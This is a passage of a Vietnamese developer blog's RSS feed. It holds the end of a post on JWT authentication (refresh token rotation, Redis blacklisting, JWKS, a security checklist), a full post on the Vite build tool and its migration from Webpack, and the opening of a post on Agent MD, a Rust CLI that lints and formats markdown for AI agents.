&lt;p&gt;Ưu: Public key ai cũng có, private key chỉ auth server biết.
Nhược: Chậm hơn HMAC, key pair management.&lt;/p&gt;
&lt;h3&gt;ES256 — Elliptic Curve (ECDSA)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Tạo key pair
openssl ecparam -genkey -name prime256v1 -noout -out private.pem
openssl ec -in private.pem -pubout -out public.pem
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: Chữ ký nhỏ hơn RSA, nhanh hơn, bảo mật tương đương.&lt;/p&gt;
&lt;h2&gt;Refresh Token Rotation&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface TokenPair {
  accessToken: string;
  refreshToken: string;
  refreshTokenId: string;
}

async function generateTokens(userId: number): Promise&amp;#x3C;TokenPair&gt; {
  const refreshTokenId = crypto.randomUUID();

  const accessToken = jwt.sign(
    { userId, type: &apos;access&apos; },
    process.env.JWT_SECRET!,
    { expiresIn: &apos;15m&apos; }
  );

  const refreshToken = jwt.sign(
    { userId, tokenId: refreshTokenId, type: &apos;refresh&apos; },
    process.env.REFRESH_SECRET!,
    { expiresIn: &apos;7d&apos; }
  );

  // Lưu refresh token trong DB — có thể revoke
  await db.refreshTokens.create({
    data: {
      id: refreshTokenId,
      userId,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
    },
  });

  return { accessToken, refreshToken, refreshTokenId };
}

async function refreshAccessToken(refreshToken: string): Promise&amp;#x3C;TokenPair&gt; {
  try {
    const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET!) as any;

    // Kiểm tra token còn trong DB không (có thể đã revoke)
    const stored = await db.refreshTokens.findUnique({
      where: { id: decoded.tokenId },
    });
    if (!stored) throw new Error(&apos;Token revoked&apos;);

    // Rotation — xoá token cũ, tạo token mới
    await db.refreshTokens.delete({ where: { id: decoded.tokenId } });
    return generateTokens(decoded.userId);
  } catch {
    throw new UnauthorizedError(&apos;Invalid refresh token&apos;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JWT Blacklist&lt;/h2&gt;
&lt;p&gt;Khi user logout — access token vẫn còn hạn. Dùng blacklist (Redis):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Logout — thêm token vào blacklist
async function logout(tokenId: string, expiresAt: number) {
  const ttl = expiresAt - Math.floor(Date.now() / 1000);
  if (ttl &gt; 0) {
    await redis.set(`blacklist:${tokenId}`, &apos;true&apos;, &apos;EX&apos;, ttl);
  }
}

// Middleware kiểm tra blacklist
async function authenticate(req: Request, res: Response, next: NextFunction) {
  const token = req.headers.authorization?.split(&apos;Bearer &apos;)[1];
  if (!token) return res.status(401).json({ error: &apos;Missing token&apos; });

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET!) as any;

    // Kiểm tra blacklist
    const blacklisted = await redis.get(`blacklist:${decoded.jti}`);
    if (blacklisted) throw new Error(&apos;Token revoked&apos;);

    req.user = decoded;
    next();
  } catch {
    res.status(401).json({ error: &apos;Invalid token&apos; });
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JWT trong Cookie&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Set cookie
res.cookie(&apos;access_token&apos;, token, {
  httpOnly: true,     // Chống XSS
  secure: true,       // Chỉ HTTPS
  sameSite: &apos;strict&apos;, // Chống CSRF
  maxAge: 15 * 60 * 1000, // 15 phút
  path: &apos;/&apos;,
});

// Middleware đọc từ cookie
function authenticate(req: Request, res: Response, next: NextFunction) {
  const token = req.cookies.access_token;
  if (!token) return res.status(401).json({ error: &apos;Not authenticated&apos; });
  // verify...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JWT với JWKS (JSON Web Key Set)&lt;/h2&gt;
&lt;p&gt;Dùng cho OAuth2/OIDC — public keys được serve qua endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// JWKS endpoint
app.get(&apos;/.well-known/jwks.json&apos;, async (req, res) =&gt; {
  const publicKey = await getPublicKey();
  res.json({
    keys: [{
      kty: &apos;RSA&apos;,
      use: &apos;sig&apos;,
      alg: &apos;RS256&apos;,
      kid: &apos;key-1&apos;,
      n: publicKey.n,
      e: publicKey.e,
    }],
  });
});

// Client verify với JWKS
import { createRemoteJWKSet, jwtVerify } from &apos;jose&apos;;

const JWKS = createRemoteJWKSet(new URL(&apos;https://auth.example.com/.well-known/jwks.json&apos;));

async function verifyToken(token: string) {
  const { payload } = await jwtVerify(token, JWKS, {
    issuer: &apos;https://auth.example.com&apos;,
    audience: &apos;api.example.com&apos;,
  });
  return payload;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JWT Payload Size&lt;/h2&gt;
&lt;p&gt;JWT không nên chứa quá nhiều dữ liệu — mỗi request đều gửi token:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — quá nhiều claim
const token = jwt.sign({
  userId: 123,
  name: &apos;Alice&apos;,
  email: &apos;alice@example.com&apos;,
  avatar: &apos;https://...&apos;,
  role: &apos;admin&apos;,
  permissions: [&apos;read&apos;, &apos;write&apos;, &apos;delete&apos;],
  department: &apos;engineering&apos;,
  lastLogin: &apos;2024-01-01&apos;,
  preferences: { theme: &apos;dark&apos;, locale: &apos;vi&apos; },
}, secret);

// ✅ Tốt — chỉ lưu identifier
const token = jwt.sign({
  sub: &apos;user_123&apos;,
  role: &apos;admin&apos;,
}, secret, { expiresIn: &apos;15m&apos; });
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Security Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Access token ngắn (15 phút)&lt;/li&gt;
&lt;li&gt;[ ] Refresh token rotation&lt;/li&gt;
&lt;li&gt;[ ] JWT trong httpOnly cookie (cho web) hoặc Authorization header (cho mobile)&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;aud&lt;/code&gt; claim — kiểm tra audience&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;iss&lt;/code&gt; claim — kiểm tra issuer&lt;/li&gt;
&lt;li&gt;[ ] Blacklist cho logout&lt;/li&gt;
&lt;li&gt;[ ] Key rotation (RS256/ES256) — đổi key định kỳ&lt;/li&gt;
&lt;li&gt;[ ] Không lưu secret trong code&lt;/li&gt;
&lt;li&gt;[ ] Không decode token mà không verify&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;JWT là chuẩn authentication phổ biến vì:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stateless — không cần session store&lt;/li&gt;
&lt;li&gt;Portable — mobile, web, service-to-service&lt;/li&gt;
&lt;li&gt;Self-contained — user info trong token&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nhưng nhớ: JWT không thể revoke trước hạn (trừ khi dùng blacklist). Access token ngắn + refresh token rotation là giải pháp.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://jwt.io/introduction&quot;&gt;JWT.io — JSON Web Token Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7519&quot;&gt;RFC 7519 — JSON Web Token Standard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8725&quot;&gt;JWT Best Practices (RFC 8725)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://auth0.com/resources/ebooks/jwt-handbook&quot;&gt;Auth0 — JWT Handbook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/panva/jose&quot;&gt;jose — JWT Library for TypeScript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/auth0/node-jsonwebtoken&quot;&gt;jsonwebtoken Library&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Vite — Build Tool Nhanh Cho Web Hiện Đại</title><link>https://dopana-blog.pages.dev/blog/vite-build-tool-cho-web-hien-dai</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/vite-build-tool-cho-web-hien-dai</guid><description>Vite là build tool thế hệ mới, dùng ES modules cho dev nhanh, Rollup cho build production. Plugin ecosystem, HMR tức thì, TypeScript native.</description><pubDate>Sat, 04 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Vite là build tool cho web hiện đại. Dev server dùng native ES modules — khởi động và HMR nhanh hơn Webpack 10-20x.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Webpack:  Bundle → serve (càng nhiều code, càng chậm)
Vite:     Serve native ESM → transform on demand (nhanh bất kể project size)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tại Sao Vite?&lt;/h2&gt;
&lt;h3&gt;Vấn Đề với Webpack&lt;/h3&gt;
&lt;p&gt;Khi project lớn dần, Webpack chậm dần:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;100 files  →  5s dev start
1000 files → 30s dev start
10000+     → 2-5 phút dev start + HMR chậm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vì Webpack bundle mọi thứ trước khi serve.&lt;/p&gt;
&lt;h3&gt;Vite Approach&lt;/h3&gt;
&lt;p&gt;Vite dùng native ES modules của browser. Trình duyệt tải modules trực tiếp:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Vite dev: trình duyệt tải từng module riêng --&gt;
&amp;#x3C;script type=&quot;module&quot; src=&quot;/src/main.tsx&quot;&gt;&amp;#x3C;/script&gt;
&amp;#x3C;script type=&quot;module&quot; src=&quot;/src/App.tsx&quot;&gt;&amp;#x3C;/script&gt;
&amp;#x3C;script type=&quot;module&quot; src=&quot;/src/components/Header.tsx&quot;&gt;&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không bundle — chỉ transform file khi trình duyệt request.&lt;/p&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm create vite@latest my-project
# Select: React, Vue, Svelte, Vanilla, Lit...

cd my-project
npm install
npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Templates
npm create vite@latest my-app -- --template react-ts
npm create vite@latest my-api -- --template vanilla-ts
npm create vite@latest my-vue -- --template vue-ts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Config&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// vite.config.ts
import { defineConfig } from &apos;vite&apos;
import react from &apos;@vitejs/plugin-react&apos;

export default defineConfig({
  plugins: [react()],
  server: {
    port: 3000,
    open: true,
    proxy: {
      &apos;/api&apos;: &apos;http://localhost:8080&apos;,
    },
  },
  build: {
    outDir: &apos;dist&apos;,
    sourcemap: true,
    minify: &apos;esbuild&apos;,
    target: &apos;es2020&apos;,
    rollupOptions: {
      output: {
        manualChunks: {
          vendor: [&apos;react&apos;, &apos;react-dom&apos;],
        },
      },
    },
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HMR (Hot Module Replacement)&lt;/h2&gt;
&lt;p&gt;Vite HMR nhanh vì chỉ cần thay thế module đã thay đổi — không rebuild cả bundle:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Webpack HMR:
[file changed] → rebuild bundle → gửi new bundle → replace

Vite HMR:
[file changed] → transform 1 file → gửi file → replace
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả: HMR dưới 50ms cho mọi project size.&lt;/p&gt;
&lt;h2&gt;TypeScript&lt;/h2&gt;
&lt;p&gt;Vite hỗ trợ TypeScript native — không cần cấu hình:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Chạy TypeScript trực tiếp
// Vite dùng esbuild để transpile — nhanh hơn tsc 20-30x
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# esbuild transpile ~50ms per file
# tsc transpile ~1000ms per file
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tuy nhiên Vite không type-check — dùng &lt;code&gt;tsc --noEmit&lt;/code&gt; riêng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;scripts&quot;: {
    &quot;dev&quot;: &quot;vite&quot;,
    &quot;build&quot;: &quot;tsc --noEmit &amp;#x26;&amp;#x26; vite build&quot;,
    &quot;preview&quot;: &quot;vite preview&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CSS &amp;#x26; Preprocessors&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// vite.config.ts
import tailwind from &apos;@tailwindcss/vite&apos;

export default defineConfig({
  plugins: [
    tailwind(),  // Tailwind CSS v4
  ],
  css: {
    modules: { localsConvention: &apos;camelCase&apos; },
    preprocessorOptions: {
      scss: {
        additionalData: `@import &quot;./src/styles/variables&quot;;`,
      },
    },
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Static Assets&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Import asset → URL string
import logo from &apos;./assets/logo.png&apos;
// logo = &apos;/assets/logo.abc123.png&apos;

// Dynamic import
const url = new URL(&apos;./images/hero.jpg&apos;, import.meta.url).href

// Public directory (copy as-is)
// public/favicon.ico → /favicon.ico
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Environment Variables&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// .env
VITE_API_URL=https://api.example.com
VITE_GOOGLE_ANALYTICS_ID=G-XXXXX

// src/env.d.ts
/// &amp;#x3C;reference types=&quot;vite/client&quot; /&gt;

// Dùng trong code
const api = fetch(`${import.meta.env.VITE_API_URL}/data`)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// .env.development — dev only
// .env.production — build only
// .env.local — local override (gitignored)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Plugins&lt;/h2&gt;
&lt;p&gt;Vite có ecosystem plugin lớn, tương thích Rollup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { defineConfig } from &apos;vite&apos;
import react from &apos;@vitejs/plugin-react&apos;
import vue from &apos;@vitejs/plugin-vue&apos;
import svelte from &apos;@vitejs/plugin-svelte&apos;
import solid from &apos;vite-plugin-solid&apos;
import mdx from &apos;@mdx-js/rollup&apos;

export default defineConfig({
  plugins: [
    react(),
    // Hoặc chọn một:
    // vue(), svelte(), solid(),
    {
      // Custom plugin
      name: &apos;my-plugin&apos;,
      transform(code, id) {
        if (id.endsWith(&apos;.custom&apos;)) {
          return transformCustomFile(code)
        }
      },
    },
  ],
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build cho Production&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm run build
# dist/ — build output
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vite dùng Rollup cho production build — tree-shaking, code splitting, minify:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Dynamic import → automatic code splitting
const AdminPage = () =&gt; import(&apos;./pages/Admin.tsx&apos;)
// → admin.abc123.js (lazy load)

// manualChunks config
build: {
  rollupOptions: {
    output: {
      manualChunks(id) {
        if (id.includes(&apos;node_modules&apos;)) {
          if (id.includes(&apos;react&apos;)) return &apos;vendor-react&apos;
          if (id.includes(&apos;lodash&apos;)) return &apos;vendor-lodash&apos;
          return &apos;vendor&apos;
        }
      },
    },
  },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Library Mode&lt;/h2&gt;
&lt;p&gt;Vite build cho thư viện — xuất ESM, CJS, UMD:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { defineConfig } from &apos;vite&apos;

export default defineConfig({
  build: {
    lib: {
      entry: &apos;src/index.ts&apos;,
      name: &apos;MyLib&apos;,
      formats: [&apos;es&apos;, &apos;cjs&apos;, &apos;umd&apos;],
      fileName: (format) =&gt; `my-lib.${format}.js`,
    },
    rollupOptions: {
      external: [&apos;react&apos;, &apos;react-dom&apos;],
      output: {
        globals: {
          react: &apos;React&apos;,
          &apos;react-dom&apos;: &apos;ReactDOM&apos;,
        },
      },
    },
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm run build
# dist/my-lib.es.js
# dist/my-lib.cjs.js
# dist/my-lib.umd.js
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SSR&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// vite.config.ts
import { defineConfig } from &apos;vite&apos;
import react from &apos;@vitejs/plugin-react&apos;

export default defineConfig({
  plugins: [react()],
  ssr: {
    external: [&apos;react&apos;, &apos;react-dom&apos;],
    noExternal: [&apos;some-local-lib&apos;],
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// server.js (Node)
import { createServer } from &apos;vite&apos;

const vite = await createServer({ server: { middlewareMode: true } })
const app = express()
app.use(vite.middlewares)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| | Webpack | Vite |
|---|---|---|
| Dev start | 10-60s | &amp;#x3C;1s |
| HMR | 1-5s | &amp;#x3C;50ms |
| Config | Phức tạp | Đơn giản |
| TypeScript | Loader config | Native |
| CSS | Loader config | Native |
| Build | Webpack bundle | Rollup |
| Dev server | Express | Connect + ESM |
| Plugin ecosystem | Lớn | Lớn (Rollup compatible) |&lt;/p&gt;
&lt;h2&gt;Migration từ Webpack&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm uninstall webpack webpack-cli webpack-dev-server
npm install -D vite @vitejs/plugin-react
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// webpack.config.js → vite.config.ts
// Thường đơn giản hơn 70-80%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Webpack | Vite |
|---|---|
| &lt;code&gt;babel-loader&lt;/code&gt; | &lt;code&gt;@vitejs/plugin-react&lt;/code&gt; |
| &lt;code&gt;ts-loader&lt;/code&gt; | Native (esbuild) |
| &lt;code&gt;css-loader&lt;/code&gt; + &lt;code&gt;style-loader&lt;/code&gt; | Native |
| &lt;code&gt;sass-loader&lt;/code&gt; | &lt;code&gt;sass&lt;/code&gt; + &lt;code&gt;css.preprocessorOptions&lt;/code&gt; |
| &lt;code&gt;html-webpack-plugin&lt;/code&gt; | Native |
| &lt;code&gt;copy-webpack-plugin&lt;/code&gt; | &lt;code&gt;public/&lt;/code&gt; directory |&lt;/p&gt;
&lt;h2&gt;Khi Nào Dùng Vite?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Dự án mới — React, Vue, Svelte, Solid, Lit&lt;/li&gt;
&lt;li&gt;Monorepo — Turborepo, Nx với Vite&lt;/li&gt;
&lt;li&gt;Library build — ESM/CJS/UMD output&lt;/li&gt;
&lt;li&gt;SSR app — hỗ trợ tốt cho server rendering&lt;/li&gt;
&lt;li&gt;Web component — Lit, Stencil&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Legacy project — migration từ Webpack quá lớn có thể không đáng&lt;/li&gt;
&lt;li&gt;Cần IE11 support — Vite target ES2015+&lt;/li&gt;
&lt;li&gt;Custom build pipeline phức tạp — Webpack flexibility cao hơn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Vite thay đổi dev experience cho web developer.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Vite: 3 lệnh là xong
npm create vite@latest my-app -- --template react-ts
cd my-app
npm run dev
# → Dev server trong 1 giây
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| | Webpack 2018 | Vite 2026 |
|---|---|---|
| &lt;code&gt;npm run dev&lt;/code&gt; | ~30s chờ bundle | ~300ms |
| Sửa 1 dòng code | ~3s HMR | ~30ms HMR |
| Config | 50+ dòng | 10-20 dòng |
| Build | 2-5 phút | 10-30s |&lt;/p&gt;
&lt;p&gt;Vite là lựa chọn mặc định cho web development hiện tại — nhanh hơn, đơn giản hơn, TypeScript-native.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vite.dev/&quot;&gt;Vite Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vite.dev/config/&quot;&gt;Vite Config Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vite.dev/guide/api-plugin.html&quot;&gt;Vite Plugin API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vite.dev/guide/ssr.html&quot;&gt;Vite — SSR Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vite.dev/guide/build.html#library-mode&quot;&gt;Vite — Library Mode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rollupjs.org/&quot;&gt;Rollup Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Agent MD — CLI Viết Markdown Thân Thiện Cho AI Agent</title><link>https://dopana-blog.pages.dev/blog/agent-md-cli-viet-markdown-than-thien-cho-ai-agent</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/agent-md-cli-viet-markdown-than-thien-cho-ai-agent</guid><description>Agent MD là CLI viết bằng Rust giúp tối ưu markdown cho AI — lint, format, đọc/ghi theo section, output JSON, tiết kiệm token.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bạn có bao giờ để ý rằng file &lt;code&gt;README.md&lt;/code&gt; hay tài liệu dự án — thứ mà AI agent đọc hàng ngày — lại chứa đầy định dạng con người thích, AI không cần?&lt;/p&gt;
&lt;p&gt;In đậm, in nghiêng, bảng phức tạp, ASCII graph trang trí... tất cả đều tốn token khi AI đọc. Mỗi lần agent đọc tài liệu, bạn trả tiền cho những ký tự trang trí ấy.&lt;/p&gt;
&lt;p&gt;Agent MD ra đời để giải quyết vấn đề này: một CLI viết bằng Rust, thiết kế riêng cho AI agent làm việc với markdown — tiết kiệm token, dễ parse, output JSON.&lt;/p&gt;
&lt;h2&gt;Agent MD Là Gì?&lt;/h2&gt;
&lt;p&gt;Agent MD (tác giả: &lt;a href=&quot;https://github.com/loclv&quot;&gt;loclv&lt;/a&gt;) là một CLI tool giúp viết markdown thân thiện với AI. Nó không chỉ format — nó kiểm tra, dọn dẹp, và cung cấp API kiểu JSON để agent đọc/ghi markdown một cách thông minh.&lt;/p&gt;
&lt;p&gt;Triết lý: Markdown nên tối ưu cho AI đọc, không chỉ cho người xem. Bỏ qua các decoration không cần thiết, giữ lại cấu trúc và nội dung.&lt;/p&gt;
&lt;h2&gt;Vấn Đề: Token Tax&lt;/h2&gt;
&lt;p&gt;Mỗi khi LLM đọc file markdown, nó phải xử lý:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;**bold**&lt;/code&gt; và &lt;code&gt;__bold__&lt;/code&gt; — in đậm, AI không cần&lt;/li&gt;
&lt;li&gt;Bảng phức tạp với alignment — con người thích, AI parse cũng được nhưng dư thừa&lt;/li&gt;
&lt;li&gt;ASCII art — vẽ bằng ký tự, AI đọc không hiểu&lt;/li&gt;
&lt;li&gt;Khoảng trắng thừa, dòng trống — lãng phí&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hệ quả: ~20% token bị lãng phí cho định dạng, mỗi lần đọc là một lần mất tiền vô ích.&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;p&gt;Yêu cầu Rust, build từ source:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/loclv/agent-md.git
cd agent-md
cargo build --release
# Binary tại target/release/agent-md
export PATH=&quot;/path/to/agent-md/target/release:$PATH&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Các Lệnh Chính&lt;/h2&gt;
&lt;h3&gt;Lint — Kiểm Tra Markdown&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;agent-md lint README.md
# output JSON
# {&quot;valid&quot;:false,&quot;errors&quot;:[
# {&quot;line&quot;:7,&quot;message&quot;:&quot;No bold text allowed&quot;,&quot;rule&quot;:&quot;no-bold&quot;},
# {&quot;line&quot;:34,&quot;message&quot;:&quot;ASCII graph detected&quot;,&quot;rule&quot;:&quot;no-ascii-graph&quot;}
# ]}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Quy tắc lint gồm:&lt;/p&gt;
&lt;p&gt;Lỗi (errors):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;no-bold&lt;/code&gt; — cấm &lt;code&gt;**bold**&lt;/code&gt; và &lt;code&gt;__bold__&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;heading-structure&lt;/code&gt; — không skip cấp heading&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no-ascii-graphs&lt;/code&gt; — cấm ASCII art (kể cả trong code block)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;space-indentation&lt;/code&gt; — tối đa 2 spaces indent&lt;/li&gt;
&lt;li&gt;&lt;code&gt;table-syntax&lt;/code&gt; — bảng phải đơn giản&lt;/li&gt;
&lt;li&gt;&lt;code&gt;code-blocks&lt;/code&gt; — code block phải có language spec&lt;/li&gt;
&lt;li&gt;&lt;code&gt;list-formatting&lt;/code&gt; — list marker nhất quán&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no-useless-links&lt;/code&gt; — link không trùng URL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cảnh báo (warnings):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;no-duplicate-headings&lt;/code&gt; — heading trùng nội dung&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no-multiple-blanks&lt;/code&gt; — nhiều dòng trống liên tiếp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Output luôn là JSON, agent có thể parse dễ dàng.&lt;/p&gt;
&lt;h3&gt;Format — Dọn Dẹp&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;agent-md fmt document.md
# Xoá bold, compact blank lines, collapse spaces, remove HR...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Các option format:&lt;/p&gt;
&lt;p&gt;| Option | Mô tả |
|---|---|
| &lt;code&gt;remove_bold&lt;/code&gt; | Xoá &lt;code&gt;**bold**&lt;/code&gt; và &lt;code&gt;__bold__&lt;/code&gt; |
| &lt;code&gt;compact_blank_lines&lt;/code&gt; | Gom dòng trống |
| &lt;code&gt;collapse_spaces&lt;/code&gt; | Gom nhiều spaces |
| &lt;code&gt;remove_horizontal_rules&lt;/code&gt; | Xoá &lt;code&gt;---&lt;/code&gt;, &lt;code&gt;***&lt;/code&gt; |
| &lt;code&gt;remove_emphasis&lt;/code&gt; | Xoá &lt;code&gt;*italic*&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;Ví dụ input:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# My Project

## Overview

This is a really awesome project with many features:
| Feature | Description | Status |
|---|---|---|
| API | RESTful API | ✅ Complete |
| UI | Modern interface | 🚧 In Progress |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau format:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# My Project

## Overview

This is a really awesome project with many features:

- API: RESTful API (Complete)
- UI: Modern interface (In Progress)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bảng được chuyển thành list — dễ đọc hơn cho AI, ít token hơn.&lt;/p&gt;
&lt;h3&gt;Read — Đọc Thông Minh&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Đọc toàn bộ
agent-md read README.md --field content

# Chỉ đọc headings (không cần content)
agent-md read README.md --field headings

# Chỉ đọc một section
agent-md read README.md --content &quot;## Development&quot;

# Section lồng nhau
agent-md read README.md --content &quot;## Development &gt; Build&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đây là tính năng cực kỳ hữu ích cho AI agent: thay vì đọc cả file dài, agent chỉ cần đọc đúng section cần thiết.&lt;/p&gt;
&lt;h3&gt;Write — Ghi Có Kiểm Tra&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Ghi file, tự động validate trước
